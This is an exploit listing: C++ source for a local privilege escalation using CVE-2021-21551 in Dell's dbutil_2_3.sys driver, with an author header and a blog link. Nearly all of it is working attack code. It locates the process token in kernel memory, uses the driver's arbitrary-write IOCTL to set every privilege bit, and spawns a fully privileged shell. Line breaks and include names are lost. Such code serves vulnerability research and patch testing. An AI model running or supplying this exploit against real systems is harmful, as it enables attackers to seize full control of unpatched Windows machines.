# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) # Date: 10/05/2021 # Exploit Author: Paolo Stagno aka VoidSec # Version: <= 2.3 # CVE: CVE-2021-21551 # Tested on: Windows 10 Pro x64 v.1903 Build 18362.30 # Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/ #include #include #include #include #include #define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA) #define SystemHandleInformation 0x10 #define SystemHandleInformationSize 1024 * 1024 * 2 // define the buffer structure which will be sent to the vulnerable driver typedef struct Exploit { uint64_t Field1; // "padding" can be anything void* Field2; // where to write uint64_t Field3; // must be 0 uint64_t Field4; // value to write }; typedef struct outBuffer { uint64_t Field1; uint64_t Field2; uint64_t Field3; uint64_t Field4; }; // define a pointer to the native function 'NtQuerySystemInformation' using pNtQuerySystemInformation = NTSTATUS(WINAPI*)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); // define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; // define the SYSTEM_HANDLE_INFORMATION structure typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; int main(int argc, char** argv) { // open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3 HANDLE device = ::CreateFileW( L"\\\\.\\DBUtil_2_3", GENERIC_WRITE | GENERIC_READ, NULL, nullptr, OPEN_EXISTING, NULL, NULL); if (device == INVALID_HANDLE_VALUE) { std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n"; // resolve the address of NtQuerySystemInformation and assign it to a function pointer pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Resolved NtQuerySystemInformation!\n"; // open the current process token - it will be used to retrieve its kernelspace address later HANDLE currentProcess = ::GetCurrentProcess(); HANDLE currentToken = NULL; bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, ¤tToken); if (!success) { std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Opened a handle to the current process token!\n"; // allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize); // call NtQuerySystemInformation and fill the handleTableInformation structure ULONG returnLength = 0; NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength); uint64_t tokenAddress = 0; // iterate over the system's handle table and look for the handles beloging to our process for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; // if it finds our process and the handle matches the current token handle we already opened, print it if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken) { tokenAddress = (uint64_t)handleInfo.Object; std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl; } } outBuffer buffer = { 0, 0, 0, 0 }; /* dt nt!_SEP_TOKEN_PRIVILEGES +0x000 Present : Uint8B +0x008 Enabled : Uint8B +0x010 EnabledByDefault : Uint8B We've added +1 to the offsets to ensure that the low bytes part are 0xff. */ // overwrite the _SEP_TOKEN_PRIVILEGES "Present" field in the current process token Exploit exploit = { 0x4141414142424242, (void*)(tokenAddress + 0x40), 0x0000000000000000, 0xffffffffffffffff }; // overwrite the _SEP_TOKEN_PRIVILEGES "Enabled" field in the current process token Exploit exploit2 = { 0x4141414142424242, (void*)(tokenAddress + 0x48), 0x0000000000000000, 0xffffffffffffffff }; // overwrite the _SEP_TOKEN_PRIVILEGES "EnabledByDefault" field in the current process token Exploit exploit3 = { 0x4141414142424242, (void*)(tokenAddress + 0x50), 0x0000000000000000, 0xffffffffffffffff }; DWORD bytesReturned = 0; success = DeviceIoControl( device, IOCTL_CODE, &exploit, sizeof(exploit), &buffer, sizeof(buffer), &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'Present' field!\n"; success = DeviceIoControl( device, IOCTL_CODE, &exploit2, sizeof(exploit2), &buffer, sizeof(buffer), &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n"; success = DeviceIoControl( device, IOCTL_CODE, &exploit3, sizeof(exploit3), &buffer, sizeof(buffer), &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n"; std::cout << "[+] Token privileges successfully overwritten!\n"; std::cout << "[+] Spawning a new shell with full privileges!\n"; system("cmd.exe"); return 0; }